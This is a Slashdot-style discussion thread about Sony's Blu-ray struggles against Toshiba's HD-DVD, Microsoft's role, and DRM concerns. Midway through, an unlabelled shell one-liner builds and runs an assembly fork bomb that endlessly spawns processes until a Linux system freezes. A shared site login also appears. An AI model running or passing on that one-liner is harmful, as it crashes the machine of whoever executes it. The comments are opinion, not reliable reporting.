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In Sony's Stumble, the Ghost of Betamax
QuatermassX writes "In a lengthy piece in today's New York Times, Ken Belson equates Sony's troubles in bringing Blu-Ray to market with their classic fumble of Betamax technology in the early 1980's. He also discusses the influence of Microsoft in the recent advances in the adoption of the perceived underdog in this fight, HD-DVD. The article also summarises the various twists and turns in the development of the format along with some scary numbers (that we're familiar with) on the estimated cost of Playstation 3
From TFA: "There are other industry analysts who contend that Microsoft is simply propping up Toshiba to further its own aims, like countering the PlayStation and combating the spread of Sun's Java software. Nonetheless, Toshiba is happy for the backing, given that the format was written off for dead just a few months ago.
'"There's no doubt that everyone has various agendas," said Mark Knox, an adviser to the Toshiba promotion group. "But whatever their agenda, Microsoft's support has been a huge boon to HD-DVD.'""
OK, so originally Blu-Ray and HD-DVD were going to be very different technologies. HD-DVD was supposed to be a quick and cheap evolution of the existing DVD spec -- small capacity red-laser disks that used advanced codecs such as H.264 to store HD video. Blu-Ray on the other hand was super high-tech high-capacity blue laser disks but still depended on MPEG-2.
But since the war of words has started, each format adopted each other's features. Now they *both* have Blue lasers, both have all the same advanced codecs, and even both have the same copy-protection system, all adding engineering and patent license costs. To top it off, HDDVD didn't get to market early, and thy are both likely to be on shelves this holiday consumption season. In short the differences are now pointless from the consumer's standpoint -- it doesn't really matter which one wins.
It's been speculated that Microsoft is trying to up-the-ante by backing HD-DVD heavily. Either to force a merger between the formats (and patent pools), or to stall the market until computer-based VOD can take over.
Business. Numbers. Money. People. Computer World.
Some companies want to provide products or services that people want, need, and use. Other companies want to ram proprietary crap down peoples throat so they get a lock on the market. Would you like to gess what kind of attitude SONY has after their rootkit scandal, and Microsoft has after their backing of SCO? INHO, we need a non proprietary standard, not a "better" one.
BTW user:bugmenot, pass:bugmenot works fine
In Sony's Stumble, the Ghost of Betamax
By KEN BELSON
AT first glance, Amir Majidimehr does not look like a game-changer in the battle to develop the next generation of DVD players and discs. As the vice president for Windows digital media at Microsoft, he neither steers a Hollywood studio nor controls one of the many consumer electronics giants that are betting billions of dollars on one of the two new formats that promise to play high-definition movies and television shows.
Yet when he and his team in Redmond, Wash., decided last September to abandon their neutral stance and to support Toshiba and its HD-DVD standard over the Blu-ray format led by Sony, the unexpected change of heart reverberated through the technology industry.
Suddenly, Toshiba's seemingly quixotic defense of its format had new life. Intel joined Microsoft in backing HD-DVD. Hewlett-Packard withdrew its exclusive support of Blu-ray. This month, another member of the Blu-ray camp, LG Electronics, hedged its bets, too, signing a deal to license Toshiba's technology.
And earlier this month, one of the main reasons underpinning Microsoft's move to shuck its neutrality the complexity of producing Blu-ray technology led to Sony's acknowledgment that it might delay this spring's scheduled release of its PlayStation 3 game console partly because the needed technology was still being worked out.
The possible delay and the Blu-ray group's loss of its once-commanding lead are not encouraging developments for Sony in its attempt to revive its electronics group after a series of bungles. PlayStation 3 is crucial to Sony's future, and not only because the latest version of its gaming consoles could generate billions in revenue; the new machines will include disc drives that will turn them into Blu-ray DVD players as well.
"The PlayStation is more than a game system to them; it's one of their attempts to own the digital living room," said Robert Heiblim, a consultant to electronics companies. "Blu-ray is also critically important to get right. They don't want to be weak in an area they feel they can dominate."
A DECADE ago, a prospective death match between competing first-generation DVD players was averted when Sony and Philips agreed to back down and join the Toshiba/Warner Brothers side, in exchange for a share of royalties that all DVD player producers pay to the format's creator. Now, no truce seems near, as neither side wants to settle for a small piece of what could be a big electronics success.
So consumers and retailers may be in for a reprise of the confusing VHS-Betamax showdown of the early 1980's, with Toshiba replacing Matsushita as Sony's adversary. But Sony hopes to have a happier resolution this time. Sony lost the battle two decades ago when its highly regarded Betamax technology was defeated by VHS, a more widely accepted alternative.
Once again, the differences between the two technologies are not huge. And a growing chorus of critics, including some studio chiefs eager to sell new products as quickly as possible, call the Blu-ray format unnecessarily elaborate and expensive.
The first HD-DVD machines from Toshiba and the competing Blu-ray players from Sony, Samsung and the other Blu-ray companies will all play movies with crisper pictures, enhanced sound and a bevy of interactive features like pictures within pictures and links to the Internet. The machines will also play older DVD's.
Technophiles got a preview of the HD-DVD technology on Wednesday at an electronics store on the Upper West Side of Manhattan. As Jessica Simpson and Johnny Knoxville cavorted in the movie "The Dukes of Hazzard," prospective buyers were able to see the difference between a plain old DVD and the high-definition kind. But the main feature was the price. Toshiba will sell two players starting in March; one will cost just $499, half the price of the cheapest Blu-ray machines, the first of which will hit the stores this spring. Samsung's f
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Didn't the MPAA wanted HD-dvd because it uses more advanced compression codecs which in return would make it harder to pirate over the superior blue-ray?
I wonder if MS is backing hd-dvd to please the MPAA so they maybe more willing to use MS Media Player store rather than Itunes when Vista comes out?
http://saveie6.com/
"Microsoft's announcement last September raised alarm bells at Hewlett-Packard, which was coming to similar conclusions. Hewlett-Packard worried that the software included in the Blu-ray format would cost so much in royalties that H-P would be unable to add affordable DVD drives to its computers."
From the article, which goes on to say Blue-ray hasn't set royalty rates yet.
Yowks.
is that I find myself wanting the side Microsoft is on to win.
* Winners compare their achievements to their goals, losers compare theirs to that of others.
Is Microsoft doing everything they can to crush competitors? That's certainly nothing new.
Developers: We can use your help.
There is always some sort of format wars.. All I can suggest is to those that have spent may years building up your DVD collection. Make sure that you go buy a couple of new DVD players. Leave them in their boxces u ntill you need to replace the one you have, and wont be able to. Look at what happened with records, and cds, video-tape, and DVDS. The best thing is to ride out the wars, until they settle. And you wont be modernise your library.
I have mod points and I am not afraid to use them.
"DVD's are about movies and people watch them in their living rooms," he said. "How many people actually use their computer drives to sit and watch movies?"
Where are the 3.5" optical disks? The last time sony was successful was way back when they introduced 3.5" floppies. Since then they've had one flop after another. You'd think people would actually learn from experience. 3.5" disks would put some physical incentive behind a format. As it is I suspect most people, like myself, are yawning over these new formats. Am I supposed to be excited about having to buy a $2000 tv and a $500 hd/bd player for a few extra pixels of movies I already have? Please. Adoption rates are going to be dismal.
:T:R:A:N:S:
I think this is why Nintendo is doing so well, they're focusing on new ways to involve the player (in the TV case, the viewer) and new methods of interaction as opposed to the rest of the market, which is saying "BETTER GRAPHICS!" at the top of their lungs, hoping consumers will buy it. I don't care if in Gran Turismo 9 I can see the leather pattern of my car seat or I have reflective glass in my dashboard. Or if I can see droplets of blood when I shoot someone in an FPS. FPS games have lately been linear and monotonous. Run into a room, shoot someone, run into another room, shoot some more people...repeat for 8 hours, finish.
My point is, the entertainment industry is just peddling more crap hoping they can manufacture a need for it when in reality things have pretty much capped as far as necessary graphical quality (IMHO).
Oh, and when it doesn't sell because it's hopelessly crippled by DRM and provides no new content or value, they will just blame "those damned pirates." If it does sell, they'll just say "see, DRM makes those pirates helpless! We need more DRM!"
Bastards.
Because blue lasers and discs are consumer ready NOW.
Holographic discs are still 3 or 4 years away (like we have the same discussion about HD-DVD and Blu-Ray 2 years ago..)
The problem with the technology is we need some kind of HD movie format *NOW* because HDTV is becoming super-popular *NOW*. It's not good for the status quo when you will hardly be able to buy a non-HDTV (-ready) set in the next couple of years, but still only be "working on" the HD rental/movie format because "holographic tech is much cooler".
Blu-ray vs. HD-DVD? HD-DVD will win it out just because it's cheaper. But this won't phase Sony one bit; at least it means PS3 games will be expensive to pirate.
We've always supspected that Bill Gates was building a doomsday weapon, now we know how. Thanks for uncovering his nefarious plots.
Business. Numbers. Money. People. Computer World.
One analyst on NPR said that a format war ala Beta vs VHS, which causes confusion in the marketplace, can reduce the market by 90%. That is, 9 out of 10 would-be buyers stay away. So, bearing in mind that (1) both formats are copy protected, (2) to the point where the analog signal is being intentionally degraded, and that (3) a Playstation 3 is going to cost in excess of $800, thus giving the ~$250 Nintendo Revolution a huge advantage -- I can see definite positive outcomes of both formats imploding.
To make laws that man cannot, and will not obey, serves to bring all law into contempt.
--E.C. Stanton
The deal apparently is that certain parts of HD-DVD will be included "for free" in Windows Vista -- including the iHD navigation software and the MS VC-9 codec -- that someone would otherwise have to pay for with Bluray.
There's also the argument that MS is up-in-arms about Blu-Ray's requirement of a JVM, but I think HP/Dell/etc all already bundle Sun Java.
Business. Numbers. Money. People. Computer World.
Microsoft and its ally Intel have also convinced Hewlett-Packard to consider making HD-DVD drives for computers. This would give Toshiba an answer to Dell, which remains committed to the Blu-ray format.
If Vista doesn't ship with support for Blu-Ray, how is Dell going to sell these to people?
And when did Dell stop following Intel and Microsoft on technology choices?
HD-DVD + DRM == stillborn
-- Mean People Suck
Blu-Ray has a distinct advantage that Betamax didn't: it's going to be winging its way into homes using the PS3 as a trojan horse. If the PS3 is a big success (mind you, that's up in the air at the moment) then Blu-Ray will quite likely win the format war hands down.
No kidding!!! What do you say at this point?
Precisely!
Does consumer forgive Sony for the rootkit incident, or does consumer boycott such a company as it is unhealthy for them to put trust in the great rootkit proponent? Vote with your dollars people. Polls will be open soon.
"We've always supspected that Bill Gates was building a doomsday weapon, now we know how. Thanks for uncovering his nefarious plots." I think the entire notion of demonizing Bill Gates as the only person in the computer world who's after money and dominance is old and broken. Petulantly clinging to this notion requires that you close your eyes to the equally stubborn behavior of just about every other major company, including Apple (people will instantly be offended when I say this) and Sony (which some will automatically hate, and to be honest, since the rootkit, I have a hard time maintaining my neutrality toward them). I have breaking news to the small minded: Everyone wants to make as much money as they can and are willing to sell their souls to do it *cough* Google *cough*. Honestly, how much are souls worth when a fifth condo is so much more willing to impress the babes?
Blue Ray has a lot more content than HD-DVD. Now that Apple is basically in bed with Disney, both staunch allies of Blue Ray, the said campl will really have to fuck up for HD-DVD to win. Microsoft and HP do not control content. Heck, MS wants to optionaly add an HD-DVD to XBox-360. Not a strong endorsement.
While PS3 will natively support BlueRay (Meaning the games can store upto 50GB of high resolution textures and map data, etc.), the Xbox 360 will not support HDDVD games. This ended the war in my mind. Who the hell is going to spend several hundred dollars for a cumbersome ADDON HD-DVD player for their xbox 360, JUST to watch movies?
Thinking they could overtake a large chunk of Japanese market by rushing their product out, even a year ahead of the Sony device, was the greatest folly Microsoft could have committed. Had they REALLY supported HDDVD, they would have waited to bring their product to market, and included a HD-DVD player standard.
BlueRay has won the format wars before they even begun. Look at how profitable Sony made the completely proprietary UMD movie simply because they can profit from their own film distribution division. Neither Microsoft, nor the Toshiba consortium, have this advantange. Thus laying the final nail in the coffin.
Any fool can criticise, condemn, and complain, and most fools do. - Benjamin Franklin
Why does it seem that most Slashdotters want BluRay/HD-DVD to fail because of its DRM? Given that DVD has DRM as well, I'd rather have a format which is capable of the highest quality video.
because I find it hard to put money in something with the word "blu" in it.
I mean, how hard is it to add the e at the end, geniuses. A 2 year old could come up with a better marketing plan.
Just..never mind.
"It's all about cost of production. HD-DVD does the *same* thing with only a minor modification to the dvd fabrication plants."
One big problem with that argument is no company wants to convert a DVD plant to an HD-DVD plant. DVD production is going to increase into the forseable future and retrofitted plants are (probably) not going to be as effcient as a new HD-DVD/Blu-Ray plants. It's not like there are all these useless DVD plants that wouldn't be used for anything else, new DVD plants are still being "built from scratch".
This whole 'battle' between the formats is rediculous. Both formats have evolved to the point where players well end up supporting both, and some movies will be on BluRay while others will be on HD-DVD. Neither are going to 'fail', because the discs for both formats will ship with a DVD compatable layer on them, and will play at standard resolution in normal DVD players.
The 'battle' was over months ago, and now there is all sorts of mis-speculation in order to give these stupid analysts and reporters something to print. Notice all the stories these days aren't " makes the following technology mistake" anymore, and have all become "Will succeed at ?" or "Look at how this other format failed in the past" or "Analysts all disagree how much these things cost to make. Here's a list of all the most expensive predictions."
There is no story here.
Poor Sony. They try so hard, but keep making all the wrong choices. Why would they build a machine (PS3) that costs $900 to manufacture? It will take them years and years to recoup the cost, which is why Sony is now sayng that they expect PS3 to last 10 years as opposed to the regular 5-6 lifespan of past consoles. of course the reason for this is abvious, Sony will only break even 5 years down the road on the hardware, so it really needs the system to last that long in order for Sony to make any profit at all. but if you look at what Microsoft has been doing, it's actually moving in the opposite dirrection. Microsofts Xbox 360 was released 4 years after the original Xbox. Microsoft is intentionally decreasing the development of the news systems so it can leapfrog to greater market share with it's new hardware. So yes the 360 is not as powerful as PS3, but it costthem half what it cost Sony to produce their machine, and who wants to bet that in another 4 years Microsoft will release another system (Xbox 720?) that will leapfrog PS3, just as the PS3 is finally becoming profitable for Sony. I think Sony has become a bit complacent...technological change accelerates, yes Sony seems to be moving in the opposite dirrection with their production cycles as the hardware gets more and more expensive. The problem is, Sony is not competing with the likes of Sega or Nintendo anymore. It's competing with a company that has billions of dollars in cash to spend at a whim (microsoft). That's a whole different ballpark, and Sony is going to have to be a lot more competitive if it wants to stay on top...saying that the PS3 is going to last 10 years is just not the way to do it whenyour competitor is actually moving the other way, and reducing production cycles.
Fool me once...shame on you, fool me twice...won't be fooled again (our president)
On PSP (available at Best Buy). I've also saw 80mm DVD versions of a few movies on sale at Sam's Club around Xmas; I haven't looked since, so I don't know whether it was just a trial balloon, or whether they're available anywhere else.
//Information does not want to be free; it wants to breed.
I will be voting with my dollars - as I buy a PS3. People can try to bring the rootkit thing up as much as they want - it's not going to change my point of view, and I'm sure a lot of people feel the same way.
The market has room for many levels, from high-end to junk. Sony limited itself to good-to-excellent hardware, while most buyers wanted mid-to-low end. Sony got buried. True, it was mostly in manure, but the important thing is that it got buried.
If Blu-ray is kept proprietary, it's doomed, for exactly the same reasons.
(2) Also, the market will quickly want recordable HD. Blu-ray-R will need a major technology change. I don't know about HD-DVD-R, but it will at least have the head start that it can be read (and perhaps written) by red lasers and development of existing technology.
(3) IMHO, the entire market will be stillborn if copy protection is part of it. Regardless of what's legal, people buy recorders and blank disks to make copies, for the buyer at other locations, and for friends and Napster-type sharing. Comparatively few people will buy a disk simply to have a pre-recorded movie or game, without the ability to copy it. (Not to mention that any copy prevention system is a sitting target that can be quickly broken.)
Pre-recorded disks can't be written to. Therefore, any pre-recorded disk will have to install copy prevention software on the user's computer -- at least a counter, to permit the backup copy, and a copy-prevention system to prevent further copies. We've seen what happened when Sony tried to do this with its rootkit. (4) Finally, HDTV sets are still uncommon and expensive. Cable broadcasters are sending out HDTV, but until home sets have good distribution, there's no market for either Blu-ray or HD-DVD players or recorders. HDTV seems to be ready for a surge, so I think we can look for an increasing demand for HD disks. We live in interesting times.
Consumer adoption of high-def DVD equipment is going to be nowhere near the level of "legacy" DVD adoption, simply because the vast majority of consumers don't have HD displays and don't particularly care about them. So HDDVD and/or Blu-Ray won't have time to be fully adopted (outside of data storage) before it'll be time for the next technology (holographics, etc.)
Replace MPEG-2 with H.264 and you can use existing (9GB) DVD technology *NOW* with minimal expense. The problem (for THEM, not us!) then becomes DRM. And let's face it, it'll be circumvented somehow, right? So just use CSS and hide behind the DMCA enough to prohibit consumer-level DVD duplicators, yet let anyone with a computer and a little technical ability do as they please. Thanks.
The format wars are ridiculous. We're still dealing with DVD+/-R and spotty compatibility with consumer devices and that will never be fixed. We DON'T want to see another pair of formats duke it out like children, never admitting defeat. We will end up with devices that play both BluRay and HD-DVD, and do a half-assed job at both like they do today with regular DVD. I don't know whose side to pick, but someone has to emerge as the victor and be standardized. It's just a frickin' plastic disc with numbers on it for christsake.
-Billco, Fnarg.com
I agree with you. I don't care who wins now, but I would like to point out that without competition between these two standards neither one would have been as good as it is now. While most people are complaining that we have two standards for a year or two until one wins, I'm happy to live with that since it gave us a better cheaper product. Competition is good.
So far, there is a lot of evidence that Blu-ray is DOA. HD-DVD is faster to market. HD-DVD players are likely to be more than $500 less expensive than Blu-ray. HD-DVD is cheaper to manufacture. HD-DVD will be backward compatible with DVD with little overhead. The blackhorse in all this is the PS3, but the PS3 looks like it is going to be a *huge* risk for Sony. The depressing part is that this is turning into a Microsoft vs. Sony fight. Choosing between those to companies doesn't sit well with me, given their track record on doing things good for the consumer.
Laboratree - Scientific collaboration based on OpenSocial.
I dont like all the protection schemes that they are putting on BR and HD-DVD.
3 8
We need a storage technology that allows the consumer to download 1 copy legally to their storage of choice without industry interference.
New data storage beyond Blu-Ray and HD-DVD.
http://www.nanotech-now.com/news.cgi?story_id=137
Now Sony is a "content" company with a division that makes hardware.
A division that can't think first about how to make the hardware great but has to think about (and re-think, and think about it some more) "How can we make sure that this new piece of gear can never, ever, under any circumstances, be used to violate copyright in any conceivable way and any that aren't?".
While they were doing that instead of designing cool new hardware Apple came out with the MP3 version of the Walkman.
Because of that the Mini-Disc never became what it could have been.
Because of the content side worrying about copyright instead of cool hardware they screwed up a bunch of people's computers and convinced many of them and many others to avoid any future purchases of Sony hardware.
I suspect a hadware only company that worried about copyright about as much as the creators of Betamax did could have already had a DRM-free Blu-Ray product on the market by now.
I see even classic Slashdot is now pretty much unusable on dial up anymore.
And let's face it, it'll be circumvented somehow, right?
You know this. I know this. Doesn't look like the MPAA does though.
Gammamax.
What in the world is your definition of "cheap"? I see a few small ones on Best Buy for $500-$600. I assure you, sir, for quite a large percentage of the public, that ain't "cheap." And if you think it is, you're living in a fantasy world. (right alongside the Sony and Toshiba execs who think their new technologies are going to sell as well as DVD did)
Bush: He's Liberal in all the wrong ways.
Every. Single. Time. that Sony has introduced a proprietary piece of hardware, it has failed miserably. The only exception, to a certain extent, was the PSX... except that by comparison to its competition at the time, it was the open format, with incredibly loose requirements for developers. (as compared to Nintendo's lingering draconian measures, and Sega's general insanity at the time)
Every other device they've put out there, they've tried to lock people in to their format, and make sure they pay at both ends, and have fallen on their faces.
Bush: He's Liberal in all the wrong ways.
SONY's power in the HT market was unmatched, yet they flopped trying to push BETAMAX. The consumer will decide who wins this one, just as all previous formats. Personally I think the most open format will win, and being on the PC will be a major plus, which HD-DVD should do first since they have such huge ties to MS.
Also I think most people will support HD-DVD just because they are tired of SONY releasing a totally new proprietary media type every month, what do they have now, like 5 different formats just for digital cameras that only work with their devices?
As for having multiple formats being a bad thing, perhaps in the long run, but for the short run it is great, at least we won't have $5000 entry level HDDVD players for years like with all past formats, 2 models are already on sale at crutchfield for like $500, thats awesome.
Who gives a flying crap about what they want to sell you, go buy a external or external kit and join the future now. Put what ever you want on it now. Do some drive swapping with friends or mail it to your buddy in South Dakota now and enjoy a "upload" rate faster than anything you could afford.
People have become too focussed on the smoke and mirrors that they ignore the useable more logical option right in front of them.
We've all been waiting for one format to fail (which probably won't happen for another few years or so), so we will be able to go out and get a player and media without fear it would be useless a year later. This strikes me as a small (as in still very possible and practically equally likely for Sony to take the lead without some miracle taking place) push into HD-DVD's direction as the future format. I hope Blu-Ray will come out on top though, since their capacity would probably be more 1080p friendly (Although I am not sure an HD-DVD cannot hold two hours of 1080p footage). I'm more curious about what the generation after that will push as the reason for upgrading (since Blu-Ray and HD-DVD max out the HDTV/ATSC picture quality, and any more then 7.1 speakers would be too many physical speakers).
In undeveloped countries, the consumer controls the market. In capitalist America, the market controls you.
Playing movies on PCs isn't that useful. PC play of HDTV movies will be so locked down that it won't be worth doing. The MPAA would prefer it if you couldn't play movies on PCs at all. Microsoft's position thus really doesn't matter all that much.
I don't know this. DVD CSS was roundly criticized as being defective before DVD even hit the market, by Disney and other studios. I don't see anyone saying things like that about the next-gen copy-protection layers.
Business. Numbers. Money. People. Computer World.
Then consumers will rush to this format despite RIAA attempts to move to the other one.
I'm waiting.....
I don't see anyone saying things like that about the next-gen copy-protection layers.
TBH I don't think the copy-protection itself is at fault, it's that more or less any widespread copy protection mechanism that has ever existed has eventually been broken. The only condition is that PCs are physically able to read the media - this was the biggest stumbling block for GD (on the Dreamcast) and Nintendo's GameCube disks.
How it will be broken remains to be seen - my money is on a few enterprising hackers and a poorly-written software implementation which allows someone access to its keys.
And I will be voting with my Euros as I won't buy a PS3.
"The way we can tell it's C# instead of Haskell is because it's nine lines instead of two." -- wadler
Interesting theory, but wrong on its face. All the codecs in question (MPEG-2, VC-1, H.264) are fully and publically documented. Picking one over the other wouldn't help or hurt piracy.
Well, it has been suggested that one of the reasons that Blu-ray used MPEG-2 is that they were assuming they'd get the 50 GB dual-layer format working much easier than they had, so they could use the least efficient codec, meaning any rip from the disc would be unweildy in size. Which is really Sony shooting themselves in the foot, since they don't have 50 GB out of the lab yet, nor non-MPEG-2 authoring tools, so they're going to struggle to get long movies onto single discs.
In practice, AACS DRM is very well designed. I wouldn't assume any deCSS like solution for it will happen. On the flip side, there is Mandatory Managed Copy, so there will be a legal way to rip for Media Center use.
My video compression blog
We're just the consumer. We can only buy what exists.
It reminds me a lot of the communist system. The Party decided what's good for you and what goods you need. A Trabant has been a good car in the 50s, it still works, why bother giving you anything else? Instead of wasting valuable resources on competing for the customer, they simply made sure the customer can only buy what was offered, so you had no choice. Buy it or do without.
Now, replace The Party with the cooperation of corporations, and you get the same deal now. Sure, you can choose between Blue Ray and HDDVD, but I don't care if I'm hung or shot. Neither is what I want. Both of them offer things I do not want.
But I don't get to choose. No company will offer DRM-free media. Even if a company did, no content provider will use it.
Even if, current copyright laws would certainly make it hard for a company to escape the legal battles that would surely spring up when one should dare to produce what we, the customer, wants.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
DVD-RRM: Padlock
BlueRay/HDDVD-DRM: Steel security door
You could say that people prefer a known evil to an unknown one. Especially if they already know how to get around the known one...
The difference is also the way the players will work. You'll either need a HD-compatible display (with the "secured" (or rather, obscured) data path between your player and the display, or you won't benefit from the higher resolution because the player will cripple it deliberately.
It will take a while 'til this system is cleaned up. Fortunately we'll have some time, it will take a while 'til we know which system is the one to buy, by then there will hopefully be a way to use them the way it's meant to be.
Or rather, how WE mean to use it.
We used to have a Bill of Rights. Now, with the rights gone, all we have left is the bill.
First, Sony and the Blu-ray group adopted a Java program for interactive features. Microsoft favored a rival called iHD because, among other things, it would work better with its new Vista operating system. The Blu-ray group's board also approved an encryption technology called BD+, which Mr. Majidimehr, Microsoft's vice president for Windows digital media, deemed superfluous.
It's misleading...just about lying. Java vs iHD - MS likes iHD because they have deals in place and can control this situation. The Vista bit is a strawman - MS just doesn't like java.
Encryption. Hmm. HD DVD won't be open either, so superfluous or not, HD DVD is doing exactly the same thing.
All the quotes are like that - pure spin, almost lying. The article just isn't very good. Too much bias with little un-spun fact.
Probably because both formats bite ass right now. Silly DRM and licensing rules - the formats are about copyright and money, not improvements. How many people think the new drive costs are in the DRM tech?
I'd even wonder if they're playing up a conflict to get press - to make people believe these disappointing options are -the- choices for the next format.
I like option 3 - wait a couple years for something better to come along. It always does.
-- Life is good. Tastes like chicken.
Let's try to be realistic here....
As I look through the posts I see some good information, the usual tinfoil hat stuff, and some flat out misperceptions or bad assumptions.
As I usually say, everyone here needs to go read about technology more in detail before they decide for themselves.
Here is what I know, and I admit I am not an expert by any means.
1) Both technologies have a lot in common, the main distinction physically is the type of material used in the Discs, and how many layers you can pack into a Disc. Blu-Ray has the seemingly advantage with 'possibly' putting more layers into the Disc; however, HD-DVD has the advantage with a bit more reliable encasing of the layers, not as prone to damage.
2) Sony and Toshiba are the companies behind each product. However Sony is intent on keeping Blu-ray 100% to themselves, Toshiba is more willing to license out the technology.
3) HD-DVD started to slump in popularity, as Sony was in the process of upping the bar of more data, etc etc. This started to make Toshiba more flexible with the format, and Sony a bit more arrogant with their format. Strangly, this is also what set the stage for the shift in functions and popularity.
4) As new proposals or needs were expressed to Toshiba for built-in interface elements, adding more codec support, etc, as more ideas were added to the table, Toshiba was willing to work with them. Sony on the other hand rejected a lot of outside input, the arrogance was working against them.
5) Microsoft decides a key element of media of the future (especially in relation to their plans for consumer features), is that the content is allowed to be moved from the Media to a storage device, with or without the content protection. (i.e. the protection would stay with the data, not with the Media)
6) Toshiba was flexible and was willing to allow copying to an alternative storage device, Sony was very much against it. Sony's idea was that the content had to stay on their media, no no to copying it.
7) So 5 and 6 is where Microsoft said, HD-DVD is the one we will support, and this made a bit of press, it also made the rest of the industry re-evaluate both technologies, and in doing so, a lot of early Blu-Ray supporters found that Sony wasn't willing to give the features a lot of people wanted.
8) This brings us to the move by other companies. HP is a prime example, as they directly approached Sony, and said, Blu-ray needs to support some important features, Sony said no, and HP said, ok, we can't do an exclusive backing anymore.
Sony had the technology and should of owned this medium and emerging format war, but they got arrogant, as they did with BetaMax and many other products in their history, and basically lost the game not in technology, but in playing nice with others.
I don't remember the specifics of the features HP requested from Sony, but it is worth a search for people interested.
Also for everyone that is saying this war is only about Protection technology, etc. They are a bit right, but Sony is the one screwing the consumer more than Toshiba - and if you don't believe that, 1) Look it up & 2) Remember Sony has a big film division, Toshiba doesn't.
One of the main features that MS felt was important in the format about copying from the media was actually a pretty smart move on MS's part, and it will benefit consumers (even if you hate MS).
Microsoft sees a future where all your movies are also in a Jukebox on your computer/server as Audio files are in many people's homes now. You may own the CD, but most people listen to them from a digital archive. Microsoft believes Movies, DVD and HD-DVD content will also evolve to this level, even if not immediately. So the ability to move the movie off the media to a server is pretty important in creating a digital jukebox.
Microsoft did have an agenda, just not one that is so underhanded, they see Vista as offering Movie storage and Movie servers in homes, a good selling point for
In other words, until drives are available that read and write both Blu-Ray and HD DVD for less than $100, I'll pass, thanks.
Of course, I expect dual format drives are 'impossible', but then I seem to remember a lot of bleating about that from manufacturers about DVD+R/W vs DVD-R/W too, and yet dual-layer multi-format burners are like $40 now, so forgive me if I don't believe it this time either.
If it takes a couple of years that's fine - I certainly don't intend buying any movies in these formats until I know which one has 'won' anyway.
If you don't want baloney, avoid Sony.
How ya like dat?
http://www.physorg.com/news9607.html
is 300 GB per disc using RED lasers (1 or 2 tb using blue lasers) enough for you?
yeah, the technology is write once, read many, and not rewritable, but if you look at the cd and dvd market rewritable is more 'niche' use than write once. write once is what is cheap, so it's what people like.
inphase is definitely the darkhorse for completely usurping both blu-ray and hd-dvd. With 300 GB to play with, you have over 40 MB/second bitrates to play with for video streams. Lossless video compression, anyone? you can easily fit 720p using a 2:1 losseless compression, and leave plenty of room for a 5.1 audio stream or two.
https://www.gnu.org/philosophy/free-sw.html
Plus about 2X more expensive per GB. Plus having a much higher chance of all your data being destroyed suddenly.
Each of the individual "incoveniences" you gloss over are show-stoppers on their own.
Netflix isn't going to ship you hard drives.
You can't loan/sell individual movies to friends
Trivially easy to destroy via heat, electricity, magnets, G-forces, etc.
Discs made by studios will have DRM on them, but there's no reason to believe Blu-ray/HD-DVD burners will have some embedded DRM. Home-made DVDs don't have CSS on them, do they?
Pray every day that he'll eventually return your entire movie collection... Discs are much less fragile, much more flexible, very high bandwidth, and much lower latency, in this case.
Plus, with discs, it's usually practical to make this a one-way transaction (no return).
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Does the introduction of these formats mean less discs per release? Meaning, my biggest disappointment with DVD was that for any kind of bonuses or extras (nevermind box sets and TV series) a release had to be on 2 discs or more. I, like I would suspect 95% of the public, do not care about the lasers, etc. I just want the convenience of having everything on one disc. So for these two formats, does their larger capacity mean the end of multi-disc releases? Or does the presumed improvement in quality take up a proportional amount of space?
So have the DRMs for HD-DVD and Blu-ray already been cracked? Without that, the systems are clearly dead in the water. Nobody will switch from DVDs if they cannot continue to copy their favority movies.
What's the big deal with Java? It's simply a control language. If virtually every phone in the last 5 years can implement J2ME then there is certainly little if any cost associated with doing the same in a player.
Despite having higher capacity, better players, convergence support, and more consumer enthusiasm, like right now, Blu-Ray could be killed off because it has stronger encryption.
Based on previous articles on gizmodo, Blu-Ray users are going to have to register their player in order to receive private key updates. They'll receive Blu-Ray disks for the life of the player which reprogram their player with the latest private keys. At least one private key update is planned for the final AACS revision.
HD-DVD could just not bother updating the consumer's players if they wanted to win and they felt encryption was deterring consumers.
DVD's are only now just dropping down in price. Harddrives may be more expensive now, but I'm sure Blu-ray and HD will take the same 5 years or longer to become mainstream and compete in price. By then they'll then hard drives will be even bigger, faster, and cheaper.
Now as far as data security and getting your harddrive back, it's called "don't be stupid". You never use one piece of media or hardware to keep your data safe, and you certainly don't loan something you can't "permanently" loan to anyone. I've got 2 spare harddrives with old 120gb drives in them for transport and one 300gb for data back up. If I lose one of the 120s I'm out about $40 so so what.
Now as far as Netflix or other DRM. Netflix barely ships DVD's as it is, and I won't buy into any new DRM that hasn't already been hacked by someone else. If I can't use it in the way I won't I won't be giving them my money. You honestly think they'll let you "own" any future Blu-ray or HD media purchases. I predict that it will be illegal to resell anything in the future without having to go through a lot of hassel getting the media "registered" to a new piece of crippled hardware.
Good Evening I can think of a simple reason for Microsoft to pull the plug on Blu-Ray - spite. Microsoft's baby, Windows, has been plagued with security issues both real and manufactured (by which I mean those that it shipped with and those created by bored and malicious script kiddies) since it was born and Microsoft has gone to great lengths to fill all the holes. The last thing Microsoft needs is someone coming along and torpedoing a huge hole in Window's security below the waterline and that's exactly what Sony did. Whether they intended to or not Sony's use of the flawed XCP software allowed the Bad Guys the opportunity to install the virus-of-the-day on a Windows-based machine without anyone being able to stop it. If I were Microsoft I would have been incandescent with fury and Sony would have made an unforgiving corporate enemy. You can forget consumer choice. If Blu-Ray doesn't get native support in Windows then it'll be highly improbable that it can beat HD DVD. so...my first post. How'd I do?
Travelling forward in time at a rate of 1 second per second.
For a much more balanced account of the competition, see this reference
Basically, beta mostly had the lead on features and quality, but only by a few months. VHS had the advantage of lower price. This did not trouble Sony, because Sony had traditionally offered high-end, high-margin products rather than trying to dominate market share. But Sony had imagined that the primary use of the VCR would be time-shifting.
What Sony failed to anticipate was the emergence of the rental market. Rental shops tended to favor the system with greater market share--which led people to buy more VHS machines--which increased the preference of rental shops for the VHS format. As documented in the reference above, the failure of beta in the marketplace coinceded with the explosion of the video rental market.
I'm waiting on the Holodisc!
Here's to hoping they just concentrate on getting it to store stuff, rather than "protecting" it.
'til then, DVD does just fine for me...
Quick sanity check:
1280 x 720 = 921600 pixels per frame
921600 x 60 frames per second = 55,296,000 pixels per second
55296000 x 3 bytes per pixel (for color - 8-bit 4:4:4 YUV encoding) = 165,888,000 B/s = 158MB/s
You'd need 4:1 compression just for the video (more if you wanted 10 bit color), never mind the 9.6 MB/s you'd need for MLP encoded lossless audio.
